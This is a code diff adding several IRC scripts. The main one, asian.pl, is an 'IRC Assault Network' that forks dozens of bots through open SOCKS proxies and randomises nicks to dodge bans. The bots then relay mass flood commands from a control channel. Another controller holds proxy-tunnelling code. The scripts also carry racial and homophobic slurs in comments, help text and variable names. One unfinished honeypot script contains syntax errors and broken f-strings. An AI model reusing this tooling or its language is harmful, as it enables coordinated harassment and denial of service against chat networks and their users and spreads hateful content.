+      outgoing($nick, "NICK $nick");
+    } elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) {
+      my ($qualifiers, $cmds) = ($1, $2);
+      my (undef, $repeat) = split /\//, $qualifiers;
+      $cmds =~ s/\$nick/$nick/g;
+      my (@cmds) = split /;/, $cmds;
+      my $current = 0;
+      while ($current < $repeat) {
+        foreach my $cmd (@cmds) {
+          if ($cmd =~ /\.randnick/) {
+            $nick = $g_names[int rand @g_names];
+            print $sock "NICK $nick\r\n";
+          } else {
+            print $sock "$cmd\r\n";
+          }
+        }
+        $current++;
+      }
+    } elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) {
+      my ($qualifiers, $cmds) = ($1, $2);
+      my (undef, $repeat) = split /\//, $qualifiers;
+      if ($cmds =~ /nick (\S*)/i) {
+        $nick = $1;
+      }
+      my (@cmds) = split /;/, $cmds;
+      my $current = 0;
+      while ($current < $repeat) {
+        foreach my $cmd (@cmds) {
+          if ($cmd =~ /\.randnick/) {
+            $nick = $g_names[int rand @g_names];
+            print $sock "NICK $nick\r\n";
+          } else {
+            print $sock "$cmd\r\n";
+          }
+        }
+        $current++;
+      }
+      incoming($nick, $line);
+      outgoing($nick, $cmds);
+    } elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) {
+      my $msg = $3;
+      chomp $msg;
+      if($2 eq 'PRIVMSG') {
+        print $sock "PRIVMSG $g_channel :<$1> $msg\r\n";
+      } else {
+        print $sock "PRIVMSG $g_channel :-$1- $msg\r\n";
+      }
+    } elsif ($line =~ /473/) {
+      # (channel is +i)
+      alarm 5;
+      $SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n";
+                         alarm 0; };
+    } else {
+      incoming($nick, $line);
+    }
+  }
+}
+
+# }}}
+
+# {{{ proxy protocol handshakes/tunnel establishment
+
+sub connect_to_proxy {
+  my ($proxy_ip, $proxy_port, $proxy_type,
+      $remote_ip, $remote_port) = @_;
+  if($proxy_type eq '4') {
+    return connect_to_socks4_proxy($proxy_ip, $proxy_port,
+                                   $remote_ip, $remote_port);
+  } elsif($proxy_type eq '5') {
+    return connect_to_socks5_proxy($proxy_ip, $proxy_port,
+                                   $remote_ip, $remote_port);
+  } elsif($proxy_type eq 'h') {
+    return connect_to_http_proxy($proxy_ip, $proxy_port,
+                                 $remote_ip, $remote_port);
+  } else {
+    error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)");
+  }
+}
+
+sub connect_to_socks4_proxy {
+  # see http://socks.permeo.com/protocol/socks4.protocol
+  my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
+  my $sock = IO::Socket::INET->new(
+    PeerAddr => $socks_ip,
+    PeerPort => $socks_port,
+    Proto  => 'tcp',
+    Timeout => '8'
+  );
+  return unless $sock;
+  $sock->autoflush(1);
+  print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
+  my $received = '';
+  while (read($sock, $received, 8) && (length($received) < 8)) {}
+  my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
+  return unless $cd;
+  if ($cd != 90) {
+    return;
+  }
+  return $sock;
+}
+
+sub connect_to_socks5_proxy {
+  my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
+  my $sock = IO::Socket::INET->new(
+    PeerAddr => $socks_ip,
+    PeerPort => $socks_port,
+    Proto  => 'tcp',
+    Timeout => '8'
+  );
+  return unless $sock;
+  $sock->autoflush(1);
+
+  print $sock pack('CCC', 5, 1, 0);
+  my $received = '';
+  while (read($sock, $received, 2) && (length($received) < 2)) {}
+  my (undef, $method) = unpack('CC', $received);
+  print "received: '$received'\n";
+  return if $method == 0xFF;
+  print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip),
+                              $remote_port);
+  $received = '';
+  while (read($sock, $received, 2) && (length($received) < 4)) {}
+  my ($vn, $rep) = unpack('CC', $received);
+  if ($rep != 0) {
+    return;
+  }
+  return $sock;
+}
+
+sub connect_to_http_proxy {
+  my ($http_ip, $http_port, $remote_ip, $remote_port) = @_;
+  my $sock = IO::Socket::INET->new(
+    PeerAddr => $http_ip,
+    PeerPort => $http_port,
+    Proto  => 'tcp',
+    Timeout => '8'
+  );
+  return unless $sock;
+  $sock->autoflush(1);
+
+  print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n";
+  my $received = '';
+  while (read($sock, $received, 12) && (length($received) < 12)) {}
+  my (undef, $response) = split / /, $received;
+  return if $received eq "";
+  return if $response ne '200';
+
+  while(read($sock, $received, 1)) {
+    if($received eq "\n") {
+      read($sock, $received, 1);
+      if($received eq "\r") {
+        read($sock, $received, 1);
+        return $sock;
+      }
+    }
+  }
+  return;
+}
+
+sub resolve {
+  my $host = shift;
+  my (undef, undef, undef, undef, @servers) = gethostbyname($host);
+  unless (@servers) {
+    error("cannot resolve server $host: $?");
+    return 0;
+  }
+  my @servers_ip;
+  foreach my $server (@servers) {
+    my ($a, $b, $c, $d) = unpack('C4', $server);
+    my $server_ip = "$a.$b.$c.$d";
+    push (@servers_ip, $server_ip);
+  }
+  return @servers_ip;
+}
+
+# }}}
+
+# vim:ts=2
+# vim:sw=2
+# vim:expandtab
+# vim:foldmethod=marker
diff --git a/irc/asian.pl b/irc/asian.pl
@@ -0,0 +1,318 @@
+#!/usr/bin/perl
+
+# -->
+# WORK IN PROGRESS
+# <--
+
+# ASIAN 2.0 by Jmax
+# 
+# I have made many modifications:
+#  - Use of command line arguments as opposed to editing the script itself.
+#  - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required)
+#  - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required)
+#  - Improved fork routine/library
+#
+# The original header is as follows (NOTE: syntax here is _incorrect_):
+# -----------------------------------------------
+# ASIAN by Rucas
+# Automated Synchronous IRC Assault Network
+# Based on AYSYN by mef
+#
+# Make sure to put a SOCKS5 proxy list in proxies.txt in the same
+# directory as this script.  If you'd like to use tor, you can put
+# the correct info on one line in proxies.txt and this app will
+# still function properly (although generally tor sucks)
+#
+# All bots join $channel and are issued raw irc commands from there
+# using syntax "all PRIVMSG Rucas lol you fail it" for all bots or
+# "botname PRIVMSG Rucas lol failure" and such.
+#
+# Testing of an early version of this script is the reason that
+# Freenode now checks for open SOCKS proxies.
+# -----------------------------------------------
+
+# TODO:
+#   file flooding with adjustments for nick-length
+
+use warnings;
+use strict;
+use IO::Socket;
+use IO::Handle;
+# for forking
+use POSIX qw(:signal_h :sys_wait_h);
+my ($forkcount, $pid, $dead_nigger_storage, $maxfork) = (0, undef, 0, 50);
+$SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; };
+$SIG{CHLD} = sub { $dead_nigger_storage++ while(($pid = waitpid(-1, WNOHANG)) > 0); };
+# end
+use vars qw($VERSION);
+$VERSION = "2.0-beta3";
+
+error("please run using the --help argument") unless $ARGV[0];
+my ($server, $port, $channel, $nickbase);
+if ($ARGV[0] eq '--help') {
+    print "ASIAN $VERSION by Jmax, Rucas, abez.  Inspired by code by mef.\n".
+          "\n".
+          "\n".
+          "  Invocation:\n".
+          "      perl ".__FILE__." server[:port] \"#channel\" [nickbase]\n".
+          "\n".
+          "    Where \"server\" is a hostname to an ircd, and \"#channel\" is the control channel\n".
+          "    you want the bots to join, and \"server\" is optionally affixed with a port to\n".
+          "    use (if not 6667) with a colon inbetween.  Please note that some shells will interpret\n".
+          "    the # in \"#channel\" as a comment, and will not send it to the script.  In this case,\n".
+          "    You may either use quotes, or escape the '#'.  I prefer quotes.  You may also, optionally,\n".
+          "    specify a nickbase.  This will cause all nicks to begin with that string. You should\n".
+          "    probably not do this, as it makes your bots easier to ban.\n".
+          "\n".
+          "\n".
+          "  Usage:\n".
+          "      all <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
+          "      <botname> <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
+          "      <botname>,<botname2>,... <raw IRC command> [space-delimited arguments] :[arguments with spaces]\n".
+          "\n".
+          "    Simply privmsg your command to the control channel, and the respective bots will follow.\n".
+          "\n".
+          "  Examples:\n".
+          "      <~supers> all join #gnaa gnaa\n".
+          "        All bots will join #gnaa using the key 'gnaa'\n".
+          "      <~supers> all privmsg #gnaa :LOL HY LOL HY\n".
+          "        All bots will say \"LOL HY LOL HY\" in #gnaa\n".
+          "      <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n".
+          "        The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n".
+          "      <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n".
+          "        The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n".
+          "        will part #gnaa with reason 'lol jews'\n".
+          "\n".
+          "\n".
+          "    Enjoy. -- Jmax\n";
+    exit 0;
+} elsif ($ARGV[0] eq '--version') {
+    print "ASIAN $VERSION by Jmax, Rucas, abez.  Based on code by mef.\n";
+    exit 0;
+} else {
+    error("please run using the --help argument") unless $ARGV[1];
+    if ($ARGV[0] =~ /(.+):(\d+)/) {
+        $server = $1;
+        $port = $2;
+    } else {
+        $server = $ARGV[0];
+        $port = 6667;
+    }
+    $channel = $ARGV[1];
+    if ($ARGV[2]) {
+        $nickbase = $ARGV[2];
+    }
+}
+
+my @servers = resolve($server);
+notice("Resolved $server as ".join(", ", @servers));
+
+my %proxies = load_socks();
+my @proxylist = get_proxylist(%proxies);
+
+notice("Initiliazing (forking) bots");
+for ($forkcount = 0; $forkcount < $maxfork; $forkcount++) { # $forkcount must _not_ be local to here
+    sleep 1;                          # so we don't overload ourselves
+    if (!defined(my $pid = fork())) { # fork
+        error("couldn't fork: $!");   # die if fork fails
+    } elsif ($pid == 0) {             # fork successful, in child, do stuff
+        while (%proxies) {
+            my $proxy_ip = $proxylist[int rand @proxylist];
+            my $proxy_port = $proxies{$proxy_ip};
+            spawn_bot($proxy_ip, $proxy_port, $servers[int rand @servers], $port) 
+                or (delete $proxies{$proxy_ip} and @proxylist = get_proxylist(%proxies));
+            sleep 10; # to prevent throttling by IRCd
+        }
+        exit 0; # kills child
+    } else {  # this is the parent
+    } 
+}
+sleep while ($dead_nigger_storage < $maxfork);
+exit 666;
+
+sub load_socks {
+    my (%proxies, @proxylist, $socksn);
+    open SOCKSFILE, "<", "./socks.txt" or error("could not open socks proxies file socks.txt: $!");
+    while (<SOCKSFILE>) { 
+        chomp;
+        my ($ip, $port) = /([^:]+):([^:]+)/;
+        $proxies{$ip} = $port;
+        $socksn++;
+    }
+    close(SOCKSFILE) or error("could not close socks proxies file socks.txt: $!");
+    notice("acquired $socksn socks prox(y|ies).");
+    return (%proxies);
+}
+
+sub spawn_bot { # only return 0 if the proxy failed.  Otherwise, return 1;
+    my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
+    my ($nick, $nicklen);
+    if ($nickbase) {
+        $nicklen = int(rand(4)) + 3;    
+        $nick = $nickbase . random_num($nicklen);
+    } else {
+        $nicklen = int(rand(9)) + 3;    
+        $nick = random_nick($nicklen);
+    }
+    my $identlen = int(rand(4)) + 3;
+    my $ident = lc(random_nick($identlen));
+    my $realnamelen = int(rand(9)) + 7;
+    my $realname = random_nick($realnamelen);
+    my ($line, $sock, $altsock);
+    eval {
+      local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required
+      alarm 5;
+      $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
+      alarm 0;
+    };
+    if ($@) {
+      error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors
+      warning("TIMEOUT / CONNECTION REFUSED; SOCKS == SHIT; DELETING AND LOADING NEW;"); 
+      return 0;
+    }
+    $sock = connect_to_socks_proxy($socks_ip, $socks_port, $remote_ip, $remote_port);
+    return 0 unless $sock;
+    print $sock "NICK $nick\r\n";
+    outgoing($nick, "NICK $nick");
+    print $sock "USER $ident * * :$realname\r\n";
+    outgoing($nick, "USER $ident * * :$realname");
+    while ($line = <$sock>) {
+        chomp $line;
+        next if $line =~ /372/; # ignore motd msgs
+        incoming($nick, $line);
+        last if $line =~ /376|422/; # end of motd or no motd
+        return 0 if $line =~ /BANNED/i;
+        return 0 if $line =~ /ERROR.*G.lined/i;
+        return 0 if $line =~ /ERROR.*K.lined/i;
+        return 1 if $line =~ /ERROR/i;
+        return 1 if $line =~ /432/;
+        return 1 if $line =~ /433/;
+        if ($line =~ /PING (.*)$/) {
+            print $sock "PONG $1\r\n";
+        }
+    }
+    print $sock "JOIN $channel\r\n";
+    outgoing($nick, "JOIN $channel");
+    while ($line = <$sock>) {
+        chomp $line;
+        if ($line =~ /PING (.*)$/) {
+            print $sock "PONG $1\r\n";
+        } elsif ($line =~ /PRIVMSG $channel :all (.*)$/i) {
+            my $cmd = $1;
+            if ($cmd =~ /nick (\S*)/i) {
+                $nick = $1;
+            }
+            incoming($nick, $line);
+            print $sock "$cmd\r\n";
+            outgoing($nick, $cmd);
+        } elsif ($line =~ /PRIVMSG $channel :(?:\S*|\s*)$nick(?:\S*|\s*) (.*)$/i) {
+            my $cmd = $1;
+            if ($cmd =~ /nick (\S*)/i) {
+                $nick = $1;
+            } 
+            incoming($nick, $line);
+            print $sock "$cmd\r\n";
+            outgoing($nick, $cmd);
+        } else {
+            incoming($nick, $line);
+        }
+    }
+}
+
+sub connect_to_socks_proxy {
+    # see http://socks.permeo.com/protocol/socks4.protocol
+    my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_;
+    my $sock = IO::Socket::INET->new(
+        PeerAddr => $socks_ip,
+        PeerPort => $socks_port,
+        Proto  => 'tcp'
+    );
+    return unless $sock;
+    $sock->autoflush(1);    
+    print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x');
+    my $received = '';
+    while (read($sock, $received, 8) && (length($received) < 8)) {}
+    my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received);
+    return unless $cd;
+    if ($cd != 90) {
+        return;
+    }
+    return $sock;
+}
+
+sub random_nick {
+    my $length = shift;
+    my $possible = '0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ'; # NO PIPES. (lol, weird bug)
+    my @possible = split(//, $possible);
+    my $str = '';
+    while (length($str) < $length) {
+        $str .= $possible[int rand @possible];
+    }
+    return $str;
+}
+
+sub random_num {
+    my $length = shift;
+    my $possible = '0123456789'; # NO PIPES. (lol, weird bug)
+    my @possible = split(//, $possible);
+    my $str = '';
+    while (length($str) < $length) {
+        $str .= $possible[int rand @possible];
+    }
+    return $str;
+}
+
+sub resolve {
+    my $host = shift;
+    my (undef, undef, undef, undef, @servers) = gethostbyname($host);
+    unless (@servers) {
+        error("cannot resolve server $host: $?");
+        return 0;
+    }
+    my @servers_ip;
+    foreach my $server (@servers) {
+        my ($a, $b, $c, $d) = unpack('C4', $server);
+        my $server_ip = "$a.$b.$c.$d";
+        push (@servers_ip, $server_ip);
+   }
+   return @servers_ip;
+}
+
+sub get_proxylist { 
+    my $proxies = @_;
+    my @proxylist;
+    foreach my $key (keys %proxies) {
+        push(@proxylist, $key);
+    }
+    return @proxylist;
+}
+
+sub notice {
+    my $notice = shift;
+    print ">>>> ". $notice ."\n";
+    return;
+}
+
+sub incoming {
+    my ($nick, $line, $server) = @_;
+    printf("IRCd >>>> %-12s  ] %s\n", $nick, $line);
+    return;
+}
+
+sub outgoing {
+    my ($nick, $line, $server) = @_;
+    printf("IRCd <<<< %-12s  ] %s\n", $nick, $line);    
+    return;
+}
+
+sub warning {
+    my $warning = shift;
+    print "!!!! ". $warning ."\n";
+    return;
+}
+
+sub error {
+    my $error = shift;
+    print "!!!! ". $error ."\n";
+    exit 0;
+}
diff --git a/irc/blackhole.py b/irc/blackhole.py
@@ -0,0 +1,208 @@
+#!/usr/bin/env python
+# Blackhole IRC Bot - Developed by acidvegas in Python - (https://acid.vegas/random)
+
+'''
+WARNING: This script it entirely unfinished and should not be used for anything other than testing!
+
+This is an advanced master/honeypot(s) bot system designed to combat advanced flooding techniques on IRC
+'''
+
+import random, ssl, socket, time, threading
+
+# Config
+nickserv_password = None
+operator_password = None
+user_modes        = None #BdZ
+
+class HoneyPot(threading.Thread):
+	def __init__(self):
+		self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
+		self.sock = None
+		threading.Thread.__init__(self)
+
+	def connect(self):
+		try:
+			self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
+			self.sock.connect(('localhost', 6697))
+			self.raw(f'USER {username} 0 * :{realname}')
+			self.raw('NICK ' + self.nickname)
+		except socket.error:
+			self.event_disconnect()
+		else:
+			self.listen()
+
+	def event_disconnect(self):
+		self.sock.close()
+		time.sleep(15)
+		self.connect()
+
+	def handle_events(self, data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING':
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			for chan in channels:
+				self.raw('JOIN ' + chan)
+				time.sleep(1)
+		elif args[1] == '433':
+			self.nickname = random.choice(BlackHole.db['honeypot_nicks'])
+			self.raw('NICK ' + self.nickname)
+		elif args[1] == 'INVITE':
+			nick = args[0].split('!')[0][1:]
+			self.sendmsg('blackhole', '!' + nick)
+		elif args[1] == 'KICK' and len(args) >= 4:
+			chan   = args[2]
+			kicked = args[3]
+			if chan in channels and kicked == self.nickname:
+				time.sleep(1)
+				self.raw('JOIN ' + chan)
+		elif args[1] == 'NOTICE':
+			nick = args[0].split('!')[0][1:]
+			self.sendmsg('blackhole', '!' + nick)
+		elif args[1] == 'PRIVMSG' and len(args) >= 3:
+			nick = args[0].split('!')[0][1:]
+			chan = args[2]
+			if chan == self.nickname or '\001' in data:
+				self.sendmsg('blackhole', '!' + nick)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if line):
+					if len(line.split()) >= 2:
+						self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except:
+				break
+		self.event_disconnect()
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def sendmsg(self, target, msg):
+		self.raw(f'PRIVMSG {target} :{msg}')
+
+class IRC(object):
+	def __init__(self):
+		self.db   = {'ident':list(),'nick':list(),:'protect':list()}
+		self.sock = None
+
+	def run(self):
+		with open('blackhole.pkl','rb') as db_file:
+			self.db = pickle.load(db_file)
+		self.connect()
+
+	def connect(self):
+		try:
+			self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
+			self.sock.connect(('localhost', 6697))
+			self.raw(f'USER BL 0 * :ENTER THE VOID')
+			self.raw('NICK blackhole')
+		except socket.error:
+			self.event_disconnect()
+		else:
+			self.listen()
+
+	def evemt_connect(self):
+		self.mode(nickname, '+' + user_modes)
+		self.identify(nickname, nickserv_password)
+		self.oper(username, operator_password)
+
+	def event_disconnect(self):
+		self.sock.close()
+		time.sleep(15)
+		self.connect()
+
+	def event_private(self, ident, nick, msg):
+		if ident == admin:
+			args = msg.split()
+			cmd  = args[0][1:]
+			if msg[:1] == '.':
+				if cmd in self.db.keys():
+					if len(args) == 1:
+						for item in self.db[cmd]:
+							self.sendmsg(nick, '\x0310' + item)
+					elif len(args) == 2:
+						option = args[1][1:]
+						change = args[1][:1]
+						if change == '+':
+							if option not in self.db[cmd]:
+								self.db[cmd].append(option)
+								self.sendmsg(nick, '\x033added')
+						elif change == '-':
+							if option in self.db[cmd]:
+								self.db[cmd].remove(option)
+								self.sendmsg(nick, '\x035removed')
+		elif ident not in self.db['protected_hosts']:
+			self.raw('KILL {nick} \x038,4          E N T E R   T H E   V O I D          \x0f')
+
+	def handle_events(self, data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING':
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			self.event_connect()
+		elif args[1] == 'INVITE' or args[1] == 'NOTICE':
+			nick = args[0].split('!')[0][1:]
+			host = args[0].split('@')[1]
+			self.raw('KILL {nick} \x038,4          E N T E R   T H E   V O I D          \x0f')
+		elif args[1] == 'KICK' and len(args) >= 4:
+			nick   = args[0].split('!')[0][1:].lower()
+			host   = args[0].split('@')[1]
+			chan   = args[2]
+			kicked = args[3].lower()
+			if kicked == 'blackhole':
+				time.sleep(1)
+				self.raw('JOIN ' + chan)
+			else:
+				for item in self.db['nick']:
+					if kicked == item:
+						self.raw(f'KICK {chan} {nick} \x038,4          E N T E R   T H E   V O I D          \x0f')
+						self.mode(chan, '+b *!*@' + host)
+						break
+		elif args[1] == 'PRIVMSG' and len(args) == 4:
+			ident = args[0].split('!')[1].lower()
+			host  = args[0].split('@')[1]
+			nick  = args[0].split('!')[0][1:].lower()
+			chan  = args[2]
+			msg   = ' '.join(args[3:])[1:].lower()
+			if '\001' in msg:
+				self.raw('KILL {nick} \x038,4          E N T E R   T H E   V O I D          \x0f')
+			elif chan == 'blackhole':
+			 	if ident in self.db['ident'] and msg.startswith('!'):
+					self.raw('KILL {msg[1:]} \x038,4          E N T E R   T H E   V O I D          \x0f')
+				elif ident == admin:
+					self.event_private(ident, nick, msg)
+				else:
+					self.raw('KILL {nick} \x038,4          E N T E R   T H E   V O I D          \x0f')
+			elif host not in self.db['protect']:
+				for item in self.db['nick']:
+					if item in msg:
+						self.raw('KICK {chan} {nick} \x038,4          E N T E R   T H E   V O I D          \x0f')
+						break
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if line):
+					if len(line.split()) >= 2:
+						self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except:
+				break
+		self.event_disconnect()
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+# Main
+BlackHole = IRC()
+BlackHole.run()
diff --git a/irc/cancer.py b/irc/cancer.py
@@ -0,0 +1,501 @@
+#!/usr/bin/env python
+# Cancer IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+
+'''
+WARNING: This bot highly encourages flooding!
+
+Commands:
+	@cancer       | Information about the bot.
+	@cancer stats | Return bot statistics for the channel
+	!100          | 1 in 100 chance to get a 100 (big !smoke)
+	!beer [nick]  | Grab a beer or toss one to someone.
+	!chainsmoke   | Start a game of Chain Smoke
+	!chug         | Sip beer
+	!dragrace     | Start a game of Drag Race
+	!extendo      | 1 in 100 chance to get an EXTENDO (big !toke)
+	!fatfuck      | 1 in 100 chance to get a  FATFUCK (fat !smoke/!toke)
+	!letschug     | LET'S FUCKING CHUG!
+	!letstoke     | LET'S FUCKING TOKE!
+	!toke         | Hit joint
+	!smoke        | Hit cigarette
+'''
+
+import os
+import random
+import socket
+import threading
+import time
+
+# Connection
+server     = 'irc.server.com'
+port       = 6697
+use_ipv6   = False
+use_ssl    = True
+ssl_verify = False
+vhost      = None
+channel    = '#chats'
+key        = None
+
+# Certificate
+cert_key  = None
+cert_file = None
+cert_pass = None
+
+# Identity
+nickname = 'CANCER'
+username = 'smokesome' # vHost can be CIG@ARETTE or C@NCER for vanity purposes
+realname = 'acid.vegas/random'
+
+# Login
+nickserv_password = None
+network_password  = None
+operator_password = None
+
+# Settings
+user_modes = None
+
+# Globals (DO NOT EDIT)
+stat_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'stats.log')
+
+# Formatting Control Characters / Color Codes
+bold        = '\x02'
+italic      = '\x1D'
+underline   = '\x1F'
+reverse     = '\x16'
+reset       = '\x0f'
+white       = '00'
+black       = '01'
+blue        = '02'
+green       = '03'
+red         = '04'
+brown       = '05'
+purple      = '06'
+orange      = '07'
+yellow      = '08'
+light_green = '09'
+cyan        = '10'
+light_cyan  = '11'
+light_blue  = '12'
+pink        = '13'
+grey        = '14'
+light_grey  = '15'
+
+def color(msg, foreground, background=None):
+	return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+	print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+def luck(odds):
+	return True if random.randint(1,odds) == 1 else False
+
+def stats(stat_type, stat_action):
+	option = {'chug':0,'smoke':1,'toke':2}
+	if stat_action == 'add':
+		stats = [int(stat) for stat in open(stat_file).read().split().split(':')]
+		with open(stat_file, 'w') as stats_file:
+			stats[option[stat_type]]+=1
+			stats_file.write(':'.join([str(stat) for stat in stats]))
+	elif stat_action == 'get':
+		return int(open(stat_file).read().split(':')[option[stat_type]])
+
+class IRC(object):
+	def __init__(self):
+		self.chain_smoked    = 0
+		self.drag_race_start = 0
+		self.fat             = False
+		self.event           = None
+		self.nicks           = list()
+		self.sock            = None
+		self.stats           = {'chugged':0,'hits':25,'sips':8,'smoked':0,'toked':0}
+		self.status          = True
+
+	def run(self):
+		threading.Thread(target=Games.loop).start()
+		self.connect()
+
+	def connect(self):
+		try:
+			self.create_socket()
+			self.sock.connect((server, port))
+			self.register()
+		except socket.error as ex:
+			error('Failed to connect to IRC server.', ex)
+			Events.disconnect()
+		else:
+			self.listen()
+
+	def create_socket(self):
+		family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
+		self.sock = socket.socket(family, socket.SOCK_STREAM)
+		if vhost:
+			self.sock.bind((vhost, 0))
+		if use_ssl:
+			ctx = ssl.SSLContext()
+			if cert_file:
+				ctx.load_cert_chain(cert_file, cert_key, cert_pass)
+			if ssl_verify:
+				ctx.verify_mode = ssl.CERT_REQUIRED
+				ctx.load_default_certs()
+			else:
+				ctx.check_hostname = False
+				ctx.verify_mode = ssl.CERT_NONE
+			self.sock = ctx.wrap_socket(self.sock)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					debug(line)
+					Events.handle(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except Exception as ex:
+				error('Unexpected error occured.', ex)
+				break
+		Events.disconnect()
+
+	def register(self):
+		if network_password:
+			Commands.raw('PASS ' + network_password)
+		Commands.raw(f'USER {username} 0 * :{realname}')
+		Commands.raw('NICK ' + nickname)
+
+class Commands:
+	def action(chan, msg):
+		Commands.sendmsg(chan, f'\x01ACTION {msg}\x01')
+
+	def join_channel(chan, key=None):
+		Commands.raw(f'JOIN {chan} {key}') if key else Commands.raw('JOIN ' + chan)
+
+	def kill(nick, reason):
+		Commands.raw(f'KILL {nick} {reason}')
+
+	def notice(target, msg):
+		Commands.raw(f'NOTICE {target} :{msg}')
+
+	def raw(msg):
+		Bot.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def sendmsg(target, msg):
+		Commands.raw(f'PRIVMSG {target} :{msg}')
+
+class Events:
+	def connect():
+		if user_modes:
+			Commands.raw(f'MODE {nickname} +{user_modes}')
+		if nickserv_password:
+			Commands.sendmsg('NickServ', f'IDENTIFY {nickname} {nickserv_password}')
+		if operator_password:
+			Commands.raw(f'OPER {username} {operator_password}')
+		Commands.join_channel(channel, key)
+
+	def disconnect():
+		Bot.chain_smoked    = 0
+		Bot.drag_race_start = 0
+		Bot.event           = None
+		Bot.nicks           = list()
+		Bot.status          = True
+		Bot.sock.close()
+		time.sleep(10)
+		Bot.connect()
+
+	def message(nick, chan, msg):
+		if Bot.status:
+			args = msg.split()
+			if msg == '@cancer':
+				Commands.sendmsg(chan, bold + 'CANCER IRC Bot - Developed by acidvegas in Python - https://acid.vegas/random')
+			elif msg == '@cancer stats':
+				Commands.sendmsg(chan, 'Chugged : {0} beers      {1}'.format(color('{:,}'.format(stats('chug','get')*24), light_blue), color('({:,} cases)'.format(stats('chug','get')), grey)))
+				Commands.sendmsg(chan, 'Smoked  : {0} cigarettes {1}'.format(color('{:,}'.format(stats('smoke','get')*20), light_blue), color('({:,} packs)'.format(stats('smoke','get')), grey)))
+				Commands.sendmsg(chan, 'Toked   : {0} joints     {1}'.format(color('{:,}'.format(stats('toke','get')*3), light_blue), color('({:,} grams)'.format(stats('toke','get')), grey)))
+			elif msg in ('!100','!extendo') and luck(100):
+				Bot.stats['hits'] = 100
+				if msg == '!100':
+					Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', white, red), color('AWWW SHIT, IT\'S TIME FOR THAT NEWPORT 100', red, white), color(' !!! ', white, red)))
+				else:
+					Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('OHHH FUCK, IT\'S TIME FOR THAT 420 EXTENDO', yellow, green), color(' !!! ', red, green)))
+			elif args[0] == '!beer':
+				if len(args) == 1:
+					target = nick
+				elif len(args) == 2:
+					target = args[1]
+				beer = '{0}{1}{2}'.format(color(' ', white, white), color(' BUD ', white, random.choice((blue,brown))), color('c', grey, white))
+				Commands.action(chan, f'throws {color(target, white)} an ice cold {beer} =)')
+			elif msg == '!chainsmoke' and not Bot.event:
+				threading.Thread(target=Games.chain_smoke, args=(chan,)).start()
+			elif msg == '!chug':
+				if Bot.event == 'letschug':
+					if nick in Bot.nicks:
